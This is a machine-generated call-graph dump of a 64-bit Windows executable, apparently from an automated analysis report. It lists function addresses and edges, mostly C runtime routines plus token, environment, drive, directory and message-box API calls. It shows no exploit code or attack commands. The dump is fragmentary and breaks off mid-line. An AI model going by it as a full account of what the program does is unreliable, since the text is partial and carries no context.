_invalid_parameter_noinfo 17063->17065 17064->17061 17065->17063 17066->17050 17066->17060 17067 7ff666dea950 37 API calls _invalid_parameter_noinfo 17066->17067 17067->17066 17068->17061 17070 7ff666df3b83 17069->17070 17071 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17070->17071 17072 7ff666df3bae memcpy_s 17070->17072 17071->17072 17072->16995 17074 7ff666dee248 memcpy_s 17073->17074 17075 7ff666de4830 45 API calls 17074->17075 17076 7ff666dee302 memcpy_s 17074->17076 17075->17076 17076->17000 17078 7ff666dedf9b 17077->17078 17082 7ff666dedfe8 memcpy_s 17077->17082 17079 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17078->17079 17080 7ff666dedfc7 17079->17080 17080->17000 17081 7ff666dee053 17083 7ff666dea514 __std_exception_copy 37 API calls 17081->17083 17082->17081 17084 7ff666de4830 45 API calls 17082->17084 17087 7ff666dee095 memcpy_s 17083->17087 17084->17081 17085 7ff666dea970 _isindst 17 API calls 17086 7ff666dee140 17085->17086 17087->17085 17089 7ff666de0ccf 17088->17089 17095 7ff666de0cbe 17088->17095 17090 7ff666ded66c _fread_nolock 12 API calls 17089->17090 17089->17095 17091 7ff666de0d00 17090->17091 17092 7ff666de0d14 17091->17092 17094 7ff666dea9b8 __free_lconv_num 11 API calls 17091->17094 17093 7ff666dea9b8 __free_lconv_num 11 API calls 17092->17093 17093->17095 17094->17092 17095->16915 17097 7ff666de47de 17096->17097 17098 7ff666de47d6 17096->17098 17097->16926 17099 7ff666de4830 45 API calls 17098->17099 17099->17097 17101 7ff666deda41 17100->17101 17102 7ff666de486f 17100->17102 17101->17102 17108 7ff666df3374 17101->17108 17104 7ff666deda94 17102->17104 17105 7ff666dedaad 17104->17105 17107 7ff666de487f 17104->17107 17105->17107 17121 7ff666df26c0 17105->17121 17107->16848 17109 7ff666deb1c0 __GetCurrentState 45 API calls 17108->17109 17110 7ff666df3383 17109->17110 17111 7ff666df33ce 17110->17111 17120 7ff666df0348 EnterCriticalSection 17110->17120 17111->17102 17122 7ff666deb1c0 __GetCurrentState 45 API calls 17121->17122 17123 7ff666df26c9 17122->17123 17130 7ff666df6df8 17124->17130 17129 7ff666def919 MultiByteToWideChar 17127->17129 17133 7ff666df6e5c 17130->17133 17131 7ff666ddc5c0 _log10_special 8 API calls 17132 7ff666df012d 17131->17132 17132->16949 17133->17131 17135 7ff666de107f 17134->17135 17136 7ff666de106d 17134->17136 17139 7ff666de108d 17135->17139 17142 7ff666de10c9 17135->17142 17137 7ff666de4f78 _get_daylight 11 API calls 17136->17137 17138 7ff666de1072 17137->17138 17140 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17138->17140 17141 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17139->17141 17146 7ff666de107d 17140->17146 17141->17146 17143 7ff666de1445 17142->17143 17145 7ff666de4f78 _get_daylight 11 API calls 17142->17145 17144 7ff666de4f78 _get_daylight 11 API calls 17143->17144 17143->17146 17147 7ff666de16d9 17144->17147 17148 7ff666de143a 17145->17148 17146->16807 17149 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17147->17149 17150 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17148->17150 17149->17146 17150->17143 17152 7ff666de0774 17151->17152 17179 7ff666de04d4 17152->17179 17154 7ff666de078d 17154->16466 17191 7ff666de042c 17155->17191 17159 7ff666ddc8c0 17158->17159 17160 7ff666dd2930 GetCurrentProcessId 17159->17160 17161 7ff666dd1c80 49 API calls 17160->17161 17162 7ff666dd2979 17161->17162 17205 7ff666de49f4 17162->17205 17167 7ff666dd1c80 49 API calls 17168 7ff666dd29ff 17167->17168 17235 7ff666dd2620 17168->17235 17171 7ff666ddc5c0 _log10_special 8 API calls 17172 7ff666dd2a31 17171->17172 17172->16505 17174 7ff666de0189 17173->17174 17175 7ff666dd1b89 17173->17175 17176 7ff666de4f78 _get_daylight 11 API calls 17174->17176 17175->16504 17175->16505 17177 7ff666de018e 17176->17177 17178 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17177->17178 17178->17175 17180 7ff666de053e 17179->17180 17181 7ff666de04fe 17179->17181 17180->17181 17182 7ff666de054a 17180->17182 17183 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17181->17183 17190 7ff666de54dc EnterCriticalSection 17182->17190 17189 7ff666de0525 17183->17189 17189->17154 17192 7ff666de0456 17191->17192 17203 7ff666dd1a20 17191->17203 17193 7ff666de04a2 17192->17193 17194 7ff666de0465 memcpy_s 17192->17194 17192->17203 17204 7ff666de54dc EnterCriticalSection 17193->17204 17196 7ff666de4f78 _get_daylight 11 API calls 17194->17196 17198 7ff666de047a 17196->17198 17200 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17198->17200 17200->17203 17203->16474 17203->16475 17209 7ff666de4a4e 17205->17209 17206 7ff666de4a73 17207 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17206->17207 17222 7ff666de4a9d 17207->17222 17208 7ff666de4aaf 17244 7ff666de2c80 17208->17244 17209->17206 17209->17208 17211 7ff666dea9b8 __free_lconv_num 11 API calls 17211->17222 17213 7ff666ddc5c0 _log10_special 8 API calls 17215 7ff666dd29c3 17213->17215 17214 7ff666de4b8c 17214->17211 17223 7ff666de51d0 17215->17223 17216 7ff666de4b61 17220 7ff666dea9b8 __free_lconv_num 11 API calls 17216->17220 17217 7ff666de4bb0 17217->17214 17219 7ff666de4bba 17217->17219 17218 7ff666de4b58 17218->17214 17218->17216 17221 7ff666dea9b8 __free_lconv_num 11 API calls 17219->17221 17220->17222 17221->17222 17222->17213 17224 7ff666deb338 _get_daylight 11 API calls 17223->17224 17225 7ff666de51e7 17224->17225 17226 7ff666deec08 _get_daylight 11 API calls 17225->17226 17229 7ff666de5227 17225->17229 17232 7ff666dd29e5 17225->17232 17227 7ff666de521c 17226->17227 17228 7ff666dea9b8 __free_lconv_num 11 API calls 17227->17228 17228->17229 17229->17232 17382 7ff666deec90 17229->17382 17232->17167 17233 7ff666dea970 _isindst 17 API calls 17234 7ff666de526c 17233->17234 17236 7ff666dd262f 17235->17236 17237 7ff666dd9400 2 API calls 17236->17237 17238 7ff666dd2660 17237->17238 17239 7ff666dd2683 MessageBoxA 17238->17239 17240 7ff666dd266f MessageBoxW 17238->17240 17241 7ff666dd2690 17239->17241 17240->17241 17242 7ff666ddc5c0 _log10_special 8 API calls 17241->17242 17243 7ff666dd26a0 17242->17243 17243->17171 17245 7ff666de2cbe 17244->17245 17246 7ff666de2cae 17244->17246 17247 7ff666de2cc7 17245->17247 17252 7ff666de2cf5 17245->17252 17248 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17246->17248 17249 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17247->17249 17250 7ff666de2ced 17248->17250 17249->17250 17250->17214 17250->17216 17250->17217 17250->17218 17251 7ff666de4830 45 API calls 17251->17252 17252->17246 17252->17250 17252->17251 17254 7ff666de2fa4 17252->17254 17258 7ff666de3610 17252->17258 17284 7ff666de32d8 17252->17284 17314 7ff666de2b60 17252->17314 17256 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17254->17256 17256->17246 17259 7ff666de3652 17258->17259 17260 7ff666de36c5 17258->17260 17261 7ff666de36ef 17259->17261 17262 7ff666de3658 17259->17262 17263 7ff666de371f 17260->17263 17264 7ff666de36ca 17260->17264 17331 7ff666de1bc0 17261->17331 17270 7ff666de365d 17262->17270 17273 7ff666de372e 17262->17273 17263->17261 17263->17273 17282 7ff666de3688 17263->17282 17265 7ff666de36ff 17264->17265 17266 7ff666de36cc 17264->17266 17338 7ff666de17b0 17265->17338 17268 7ff666de366d 17266->17268 17272 7ff666de36db 17266->17272 17283 7ff666de375d 17268->17283 17317 7ff666de3f74 17268->17317 17270->17268 17274 7ff666de36a0 17270->17274 17270->17282 17272->17261 17276 7ff666de36e0 17272->17276 17273->17283 17345 7ff666de1fd0 17273->17345 17274->17283 17327 7ff666de4430 17274->17327 17279 7ff666de45c8 37 API calls 17276->17279 17276->17283 17278 7ff666ddc5c0 _log10_special 8 API calls 17280 7ff666de39f3 17278->17280 17279->17282 17280->17252 17282->17283 17352 7ff666dee8c8 17282->17352 17283->17278 17285 7ff666de32e3 17284->17285 17286 7ff666de32f9 17284->17286 17288 7ff666de3652 17285->17288 17289 7ff666de36c5 17285->17289 17297 7ff666de3337 17285->17297 17287 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17286->17287 17286->17297 17287->17297 17290 7ff666de36ef 17288->17290 17291 7ff666de3658 17288->17291 17292 7ff666de371f 17289->17292 17293 7ff666de36ca 17289->17293 17296 7ff666de1bc0 38 API calls 17290->17296 17300 7ff666de365d 17291->17300 17303 7ff666de372e 17291->17303 17292->17290 17292->17303 17313 7ff666de3688 17292->17313 17294 7ff666de36ff 17293->17294 17295 7ff666de36cc 17293->17295 17298 7ff666de17b0 38 API calls 17294->17298 17301 7ff666de36db 17295->17301 17308 7ff666de366d 17295->17308 17296->17313 17297->17252 17298->17313 17299 7ff666de3f74 47 API calls 17299->17313 17302 7ff666de36a0 17300->17302 17300->17308 17300->17313 17301->17290 17305 7ff666de36e0 17301->17305 17306 7ff666de4430 47 API calls 17302->17306 17311 7ff666de375d 17302->17311 17304 7ff666de1fd0 38 API calls 17303->17304 17303->17311 17304->17313 17309 7ff666de45c8 37 API calls 17305->17309 17305->17311 17306->17313 17307 7ff666ddc5c0 _log10_special 8 API calls 17310 7ff666de39f3 17307->17310 17308->17299 17308->17311 17309->17313 17310->17252 17311->17307 17312 7ff666dee8c8 47 API calls 17312->17313 17313->17311 17313->17312 17365 7ff666de0d84 17314->17365 17318 7ff666de3f96 17317->17318 17319 7ff666de0bf0 12 API calls 17318->17319 17320 7ff666de3fde 17319->17320 17321 7ff666dee5e0 46 API calls 17320->17321 17322 7ff666de40b1 17321->17322 17323 7ff666de4830 45 API calls 17322->17323 17324 7ff666de40d3 17322->17324 17323->17324 17325 7ff666de4830 45 API calls 17324->17325 17326 7ff666de415c 17324->17326 17325->17326 17326->17282 17328 7ff666de44b0 17327->17328 17329 7ff666de4448 17327->17329 17328->17282 17329->17328 17330 7ff666dee8c8 47 API calls 17329->17330 17330->17328 17332 7ff666de1bf3 17331->17332 17333 7ff666de1c22 17332->17333 17335 7ff666de1cdf 17332->17335 17334 7ff666de0bf0 12 API calls 17333->17334 17337 7ff666de1c5f 17333->17337 17334->17337 17336 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17335->17336 17336->17337 17337->17282 17339 7ff666de17e3 17338->17339 17340 7ff666de1812 17339->17340 17342 7ff666de18cf 17339->17342 17341 7ff666de0bf0 12 API calls 17340->17341 17344 7ff666de184f 17340->17344 17341->17344 17343 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17342->17343 17343->17344 17344->17282 17346 7ff666de2003 17345->17346 17347 7ff666de2032 17346->17347 17349 7ff666de20ef 17346->17349 17348 7ff666de0bf0 12 API calls 17347->17348 17351 7ff666de206f 17347->17351 17348->17351 17350 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17349->17350 17350->17351 17351->17282 17353 7ff666dee8f0 17352->17353 17354 7ff666de4830 45 API calls 17353->17354 17356 7ff666dee935 17353->17356 17357 7ff666dee8f5 memcpy_s 17353->17357 17360 7ff666dee91e memcpy_s 17353->17360 17354->17356 17355 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17355->17357 17356->17357 17356->17360 17362 7ff666df0858 17356->17362 17357->17282 17360->17355 17360->17357 17363 7ff666df087c WideCharToMultiByte 17362->17363 17366 7ff666de0dc3 17365->17366 17367 7ff666de0db1 17365->17367 17370 7ff666de0dd0 17366->17370 17373 7ff666de0e0d 17366->17373 17368 7ff666de4f78 _get_daylight 11 API calls 17367->17368 17369 7ff666de0db6 17368->17369 17371 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17369->17371 17372 7ff666dea884 _invalid_parameter_noinfo 37 API calls 17370->17372 17378 7ff666de0dc1 17371->17378 17372->17378 17374 7ff666de0eb6 17373->17374 17376 7ff666de4f78 _get_daylight 11 API calls 17373->17376 17375 7ff666de4f78 _get_daylight 11 API calls 17374->17375 17374->17378 17377 7ff666de0f60 17375->17377 17379 7ff666de0eab 17376->17379 17381 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17377->17381 17378->17252 17380 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17379->17380 17380->17374 17381->17378 17386 7ff666deecad 17382->17386 17383 7ff666deecb2 17384 7ff666de524d 17383->17384 17385 7ff666de4f78 _get_daylight 11 API calls 17383->17385 17384->17232 17384->17233 17387 7ff666deecbc 17385->17387 17386->17383 17386->17384 17389 7ff666deecfc 17386->17389 17388 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17387->17388 17388->17384 17389->17384 17390 7ff666de4f78 _get_daylight 11 API calls 17389->17390 17390->17387 17392 7ff666de82b5 17391->17392 17393 7ff666de82c8 17391->17393 17394 7ff666de4f78 _get_daylight 11 API calls 17392->17394 17401 7ff666de7f2c 17393->17401 17396 7ff666de82ba 17394->17396 17398 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17396->17398 17399 7ff666de82c6 17398->17399 17399->16525 17408 7ff666df0348 EnterCriticalSection 17401->17408 17410 7ff666dd87a1 GetTokenInformation 17409->17410 17413 7ff666dd8823 __std_exception_copy 17409->17413 17411 7ff666dd87c2 GetLastError 17410->17411 17412 7ff666dd87cd 17410->17412 17411->17412 17411->17413 17412->17413 17416 7ff666dd87e9 GetTokenInformation 17412->17416 17414 7ff666dd883c 17413->17414 17415 7ff666dd8836 CloseHandle 17413->17415 17414->16530 17415->17414 17416->17413 17417 7ff666dd880c 17416->17417 17417->17413 17418 7ff666dd8816 ConvertSidToStringSidW 17417->17418 17418->17413 17420 7ff666ddc8c0 17419->17420 17421 7ff666dd2b74 GetCurrentProcessId 17420->17421 17422 7ff666dd26b0 48 API calls 17421->17422 17423 7ff666dd2bc7 17422->17423 17424 7ff666de4c48 48 API calls 17423->17424 17425 7ff666dd2c10 MessageBoxW 17424->17425 17426 7ff666ddc5c0 _log10_special 8 API calls 17425->17426 17427 7ff666dd2c40 17426->17427 17427->16540 17429 7ff666dd25e5 17428->17429 17430 7ff666de4c48 48 API calls 17429->17430 17431 7ff666dd2604 17430->17431 17431->16556 17467 7ff666de8804 17432->17467 17436 7ff666dd81cc 17435->17436 17437 7ff666dd9400 2 API calls 17436->17437 17438 7ff666dd81eb 17437->17438 17439 7ff666dd81f3 17438->17439 17440 7ff666dd8206 ExpandEnvironmentStringsW 17438->17440 17441 7ff666dd2810 49 API calls 17439->17441 17442 7ff666dd822c __std_exception_copy 17440->17442 17443 7ff666dd81ff __std_exception_copy 17441->17443 17444 7ff666dd8243 17442->17444 17445 7ff666dd8230 17442->17445 17446 7ff666ddc5c0 _log10_special 8 API calls 17443->17446 17449 7ff666dd82af 17444->17449 17450 7ff666dd8251 GetDriveTypeW 17444->17450 17447 7ff666dd2810 49 API calls 17445->17447 17448 7ff666dd839f 17446->17448 17447->17443 17605 7ff666de7e78 17449->17605 17453 7ff666dd8285 17450->17453 17454 7ff666dd82a0 17450->17454 17508 7ff666df15c8 17467->17508 17567 7ff666df1340 17508->17567 17588 7ff666df0348 EnterCriticalSection 17567->17588 17606 7ff666de7f02 17605->17606 17607 7ff666de7e94 17605->17607 17607->17606 17707 7ff666dd455a 17706->17707 17708 7ff666dd9400 2 API calls 17707->17708 17709 7ff666dd457f 17708->17709 17710 7ff666ddc5c0 _log10_special 8 API calls 17709->17710 17711 7ff666dd45a7 17710->17711 17711->16582 17713 7ff666dd7e1e 17712->17713 17714 7ff666dd7f42 17713->17714 17715 7ff666dd1c80 49 API calls 17713->17715 17716 7ff666ddc5c0 _log10_special 8 API calls 17714->17716 17719 7ff666dd7ea5 17715->17719 17717 7ff666dd7f73 17716->17717 17717->16582 17718 7ff666dd1c80 49 API calls 17718->17719 17719->17714 17719->17718 17720 7ff666dd4550 10 API calls 17719->17720 17721 7ff666dd9400 2 API calls 17719->17721 17720->17719 17722 7ff666dd7f13 CreateDirectoryW 17721->17722 17722->17714 17722->17719 17724 7ff666dd1613 17723->17724 17725 7ff666dd1637 17723->17725 17844 7ff666dd1050 17724->17844 17727 7ff666dd45b0 108 API calls 17725->17727 17729 7ff666dd164b 17727->17729 17728 7ff666dd1618 17730 7ff666dd162e 17728->17730 17734 7ff666dd2710 54 API calls 17728->17734 17731 7ff666dd1682 17729->17731 17732 7ff666dd1653 17729->17732 17730->16582 17733 7ff666dd45b0 108 API calls 17731->17733 17735 7ff666de4f78 _get_daylight 11 API calls 17732->17735 17736 7ff666dd1696 17733->17736 17734->17730 17737 7ff666dd1658 17735->17737 17738 7ff666dd169e 17736->17738 17739 7ff666dd16b8 17736->17739 17740 7ff666dd2910 54 API calls 17737->17740 17741 7ff666dd2710 54 API calls 17738->17741 17742 7ff666de0744 73 API calls 17739->17742 17743 7ff666dd1671 17740->17743 17744 7ff666dd16ae 17741->17744 17745 7ff666dd16cd 17742->17745 17743->16582 17748 7ff666de00bc 74 API calls 17744->17748 17746 7ff666dd16d1 17745->17746 17747 7ff666dd16f9 17745->17747 17749 7ff666de4f78 _get_daylight 11 API calls 17746->17749 17750 7ff666dd16ff 17747->17750 17751 7ff666dd1717 17747->17751 17752 7ff666dd1829 17748->17752 17752->16582 17772 7ff666dd717b 17771->17772 17774 7ff666dd7134 17771->17774 17772->16582 17774->17772 17908 7ff666de5094 17774->17908 17776 7ff666dd4191 17775->17776 17777 7ff666dd44d0 49 API calls 17776->17777 17778 7ff666dd41cb 17777->17778 17779 7ff666dd44d0 49 API calls 17778->17779 17780 7ff666dd41db 17779->17780 17781 7ff666dd422c 17780->17781 17782 7ff666dd41fd 17780->17782 17784 7ff666dd4100 51 API calls 17781->17784 17939 7ff666dd4100 17782->17939 17785 7ff666dd422a 17784->17785 17786 7ff666dd428c 17785->17786 17787 7ff666dd4257 17785->17787 17788 7ff666dd4100 51 API calls 17786->17788 17946 7ff666dd7ce0 17787->17946 17790 7ff666dd42b0 17788->17790 17820 7ff666dd1c80 49 API calls 17819->17820 17821 7ff666dd4464 17820->17821 17821->16582 17845 7ff666dd45b0 108 API calls 17844->17845 17846 7ff666dd108c 17845->17846 17847 7ff666dd1094 17846->17847 17848 7ff666dd10a9 17846->17848 17849 7ff666dd2710 54 API calls 17847->17849 17850 7ff666de0744 73 API calls 17848->17850 17856 7ff666dd10a4 __std_exception_copy 17849->17856 17851 7ff666dd10bf 17850->17851 17852 7ff666dd10c3 17851->17852 17853 7ff666dd10e6 17851->17853 17854 7ff666de4f78 _get_daylight 11 API calls 17852->17854 17858 7ff666dd1122 17853->17858 17859 7ff666dd10f7 17853->17859 17855 7ff666dd10c8 17854->17855 17857 7ff666dd2910 54 API calls 17855->17857 17856->17728 17866 7ff666dd10e1 __std_exception_copy 17857->17866 17861 7ff666dd1129 17858->17861 17869 7ff666dd113c 17858->17869 17860 7ff666de4f78 _get_daylight 11 API calls 17859->17860 17862 7ff666dd1100 17860->17862 17863 7ff666dd1210 92 API calls 17861->17863 17864 7ff666dd2910 54 API calls 17862->17864 17863->17866 17864->17866 17865 7ff666de00bc 74 API calls 17866->17865 17867 7ff666de040c _fread_nolock 53 API calls 17867->17869 17869->17866 17869->17867 17870 7ff666dd11ed 17869->17870 17872 7ff666de4f78 _get_daylight 11 API calls 17870->17872 17909 7ff666de50ce 17908->17909 17910 7ff666de50a1 17908->17910 17913 7ff666de50f1 17909->17913 17914 7ff666de510d 17909->17914 17911 7ff666de4f78 _get_daylight 11 API calls 17910->17911 17912 7ff666de5058 17910->17912 17915 7ff666de50ab 17911->17915 17912->17774 17916 7ff666de4f78 _get_daylight 11 API calls 17913->17916 17923 7ff666de4fbc 17914->17923 17918 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17915->17918 17919 7ff666de50f6 17916->17919 17920 7ff666de50b6 17918->17920 17921 7ff666dea950 _invalid_parameter_noinfo 37 API calls 17919->17921 17920->17774 17922 7ff666de5101 17921->17922 17922->17774 17924 7ff666de4fe0 17923->17924 17925 7ff666de4fdb 17923->17925 17924->17925 17926 7ff666deb1c0 __GetCurrentState 45 API calls 17924->17926 17925->17922 17927 7ff666de4ffb 17926->17927 17931 7ff666ded9f4 17927->17931 17932 7ff666de501e 17931->17932 17933 7ff666deda09 17931->17933 17935 7ff666deda60 17932->17935 17933->17932 17934 7ff666df3374 45 API calls 17933->17934 17934->17932 17936 7ff666deda75 17935->17936 17938 7ff666deda88 17935->17938 17936->17938 17938->17925 17940 7ff666dd4126 17939->17940 17941 7ff666de49f4 49 API calls 17940->17941 17942 7ff666dd414c 17941->17942 17943 7ff666dd415d 17942->17943 17944 7ff666dd4550 10 API calls 17942->17944 17943->17785 17947 7ff666dd7cf5 17946->17947 18003 7ff666de5f38 18002->18003 18004 7ff666de5f5e 18003->18004 18007 7ff666de5f91 18003->18007 18005 7ff666de4f78 _get_daylight 11 API calls 18004->18005 18006 7ff666de5f63 18005->18006 18010 7ff666dea950 _invalid_parameter_noinfo 37 API calls 18006->18010 18008 7ff666de5fa4 18007->18008 18009 7ff666de5f97 18007->18009 18021 7ff666deac98 18008->18021 18011 7ff666de4f78 _get_daylight 11 API calls 18009->18011 18013 7ff666dd4606 18010->18013 18011->18013 18013->16618 18034 7ff666df0348 EnterCriticalSection 18021->18034 18394 7ff666de7968 18393->18394 18397 7ff666de7444 18394->18397 18396 7ff666de7981 18396->16628 18398 7ff666de745f 18397->18398 18399 7ff666de748e 18397->18399 18401 7ff666dea884 _invalid_parameter_noinfo 37 API calls 18398->18401 18407 7ff666de54dc EnterCriticalSection 18399->18407 18403 7ff666de747f 18401->18403 18403->18396 18409 7ff666ddfeb3 18408->18409 18411 7ff666ddfee1 18408->18411 18410 7ff666dea884 _invalid_parameter_noinfo 37 API calls 18409->18410 18412 7ff666ddfed3 18410->18412 18411->18412 18418 7ff666de54dc EnterCriticalSection 18411->18418 18412->16632 18420 7ff666dd45b0 108 API calls 18419->18420 18421 7ff666dd1493 18420->18421 18422 7ff666dd149b 18421->18422 18423 7ff666dd14bc 18421->18423 18424 7ff666dd2710 54 API calls 18422->18424 18425 7ff666de0744 73 API calls 18423->18425 18426 7ff666dd14ab 18424->18426 18427 7ff666dd14d1 18425->18427 18426->16658 18428 7ff666dd14d5 18427->18428 18429 7ff666dd14f8 18427->18429 18430 7ff666de4f78 _get_daylight 11 API calls 18428->18430 18432 7ff666dd1532 18429->18432 18433 7ff666dd1508 18429->18433 18436 7ff666dd1538 18432->18436 18441 7ff666dd154b 18432->18441 18435 7ff666de4f78 _get_daylight 11 API calls 18433->18435 18526 7ff666dd6365 18525->18526 18527 7ff666dd1c80 49 API calls 18526->18527 18528 7ff666dd63a1 18527->18528 18529 7ff666dd63aa 18528->18529 18530 7ff666dd63cd 18528->18530 18531 7ff666dd2710 54 API calls 18529->18531 18532 7ff666dd4620 49 API calls 18530->18532 18548 7ff666dd63c3 18531->18548 18533 7ff666dd63e5 18532->18533 18534 7ff666dd6403 18533->18534 18535 7ff666dd2710 54 API calls 18533->18535 18536 7ff666dd4550 10 API calls 18534->18536 18535->18534 18538 7ff666dd640d 18536->18538 18537 7ff666ddc5c0 _log10_special 8 API calls 18539 7ff666dd336e 18537->18539 18540 7ff666dd641b 18538->18540 18541 7ff666dd9070 3 API calls 18538->18541 18539->16732 18556 7ff666dd64f0 18539->18556 18542 7ff666dd4620 49 API calls 18540->18542 18541->18540 18548->18537 18705 7ff666dd53f0 18556->18705 18707 7ff666dd541c 18705->18707 18706 7ff666dd5424 18707->18706 18709 7ff666dd55c4 18707->18709 20554 7ff666de5480 20555 7ff666de548b 20554->20555 20563 7ff666def314 20555->20563 20576 7ff666df0348 EnterCriticalSection 20563->20576 16162 7ff666def9fc 16163 7ff666defbee 16162->16163 16165 7ff666defa3e _isindst 16162->16165 16164 7ff666de4f78 _get_daylight 11 API calls 16163->16164 16182 7ff666defbde 16164->16182 16165->16163 16168 7ff666defabe _isindst 16165->16168 16166 7ff666ddc5c0 _log10_special 8 API calls 16167 7ff666defc09 16166->16167 16183 7ff666df6204 16168->16183 16173 7ff666defc1a 16175 7ff666dea970 _isindst 17 API calls 16173->16175 16177 7ff666defc2e 16175->16177 16180 7ff666defb1b 16180->16182 16207 7ff666df6248 16180->16207 16182->16166 16184 7ff666df6213 16183->16184 16185 7ff666defadc 16183->16185 16214 7ff666df0348 EnterCriticalSection 16184->16214 16189 7ff666df5608 16185->16189 16190 7ff666df5611 16189->16190 16191 7ff666defaf1 16189->16191 16192 7ff666de4f78 _get_daylight 11 API calls 16190->16192 16191->16173 16195 7ff666df5638 16191->16195 16193 7ff666df5616 16192->16193 16194 7ff666dea950 _invalid_parameter_noinfo 37 API calls 16193->16194 16194->16191 16196 7ff666df5641 16195->16196 16197 7ff666defb02 16195->16197 16198 7ff666de4f78 _get_daylight 11 API calls 16196->16198 16197->16173 16201 7ff666df5668 16197->16201 16199 7ff666df5646 16198->16199 16200 7ff666dea950 _invalid_parameter_noinfo 37 API calls 16199->16200 16200->16197 16202 7ff666df5671 16201->16202 16204 7ff666defb13 16201->16204 16203 7ff666de4f78 _get_daylight 11 API calls 16202->16203 16205 7ff666df5676 16203->16205 16204->16173 16204->16180 16206 7ff666dea950 _invalid_parameter_noinfo 37 API calls 16205->16206 16206->16204 16215 7ff666df0348 EnterCriticalSection 16207->16215 19891 7ff666dec590 19902 7ff666df0348 EnterCriticalSection 19891->19902 19716 7ff666dfadd9 19719 7ff666de54e8 LeaveCriticalSection 19716->19719 20602 7ff666dfae6e 20603 7ff666dfae7d 20602->20603 20604 7ff666dfae87 20602->20604 20606 7ff666df03a8 LeaveCriticalSection 20603->20606 19731 7ff666de9dc0 19734 7ff666de9d3c 19731->19734 19741 7ff666df0348 EnterCriticalSection 19734->19741 20607 7ff666deb040 20608 7ff666deb045 20607->20608 20612 7ff666deb05a 20607->20612 20613 7ff666deb060 20608->20613 20614 7ff666deb0a2 20613->20614 20615 7ff666deb0aa 20613->20615 20616 7ff666dea9b8 __free_lconv_num 11 API calls 20614->20616 20617 7ff666dea9b8 __free_lconv_num 11 API calls 20615->20617 20616->20615 20618 7ff666deb0b7 20617->20618 20619 7ff666dea9b8 __free_lconv_num 11 API calls 20618->20619 20620 7ff666deb0c4 20619->20620 20621 7ff666dea9b8 __free_lconv_num 11 API calls 20620->20621 20622 7ff666deb0d1 20621->20622 20623 7ff666dea9b8 __free_lconv_num 11 API calls 20622->20623 20624 7ff666deb0de 20623->20624 20625 7ff666dea9b8 __free_lconv_num 11 API calls 20624->20625 20626 7ff666deb0eb 20625->20626 20627 7ff666dea9b8 __free_lconv_num 11 API calls 20626->20627 20628 7ff666deb0f8 20627->20628 20629 7ff666dea9b8 __free_lconv_num 11 API calls 20628->20629 20630 7ff666deb105 20629->20630 20631 7ff666dea9b8 __free_lconv_num 11 API calls 20630->20631 20632 7ff666deb115 20631->20632 20633 7ff666dea9b8 __free_lconv_num 11 API calls 20632->20633 20634 7ff666deb125 20633->20634 20639 7ff666deaf04 20634->20639 20653 7ff666df0348 EnterCriticalSection 20639->20653 19742 7ff666ddcbc0 19743 7ff666ddcbd0 19742->19743 19759 7ff666de9c18 19743->19759 19745 7ff666ddcbdc 19765 7ff666ddceb8 19745->19765 19747 7ff666ddd19c 7 API calls 19749 7ff666ddcc75 19747->19749 19748 7ff666ddcbf4 _RTC_Initialize 19757 7ff666ddcc49 19748->19757 19770 7ff666ddd068 19748->19770 19751 7ff666ddcc09 19773 7ff666de9084 19751->19773 19757->19747 19758 7ff666ddcc65 19757->19758 19760 7ff666de9c29 19759->19760 19761 7ff666de9c31 19760->19761 19762 7ff666de4f78 _get_daylight 11 API calls 19760->19762 19761->19745 19763 7ff666de9c40 19762->19763 19764 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19763->19764 19764->19761 19766 7ff666ddcec9 19765->19766 19769 7ff666ddcece __scrt_acquire_startup_lock 19765->19769 19767 7ff666ddd19c 7 API calls 19766->19767 19766->19769 19768 7ff666ddcf42 19767->19768 19769->19748 19798 7ff666ddd02c 19770->19798 19772 7ff666ddd071 19772->19751 19774 7ff666de90a4 19773->19774 19796 7ff666ddcc15 19773->19796 19775 7ff666de90c2 GetModuleFileNameW 19774->19775 19776 7ff666de90ac 19774->19776 19780 7ff666de90ed 19775->19780 19777 7ff666de4f78 _get_daylight 11 API calls 19776->19777 19778 7ff666de90b1 19777->19778 19779 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19778->19779 19779->19796 19813 7ff666de9024 19780->19813 19783 7ff666de9135 19784 7ff666de4f78 _get_daylight 11 API calls 19783->19784 19785 7ff666de913a 19784->19785 19786 7ff666dea9b8 __free_lconv_num 11 API calls 19785->19786 19786->19796 19787 7ff666de914d 19788 7ff666de916f 19787->19788 19790 7ff666de91b4 19787->19790 19791 7ff666de919b 19787->19791 19789 7ff666dea9b8 __free_lconv_num 11 API calls 19788->19789 19789->19796 19793 7ff666dea9b8 __free_lconv_num 11 API calls 19790->19793 19792 7ff666dea9b8 __free_lconv_num 11 API calls 19791->19792 19794 7ff666de91a4 19792->19794 19793->19788 19795 7ff666dea9b8 __free_lconv_num 11 API calls 19794->19795 19795->19796 19796->19757 19797 7ff666ddd13c InitializeSListHead 19796->19797 19799 7ff666ddd046 19798->19799 19801 7ff666ddd03f 19798->19801 19802 7ff666dea25c 19799->19802 19801->19772 19805 7ff666de9e98 19802->19805 19812 7ff666df0348 EnterCriticalSection 19805->19812 19814 7ff666de903c 19813->19814 19815 7ff666de9074 19813->19815 19814->19815 19816 7ff666deec08 _get_daylight 11 API calls 19814->19816 19815->19783 19815->19787 19817 7ff666de906a 19816->19817 19818 7ff666dea9b8 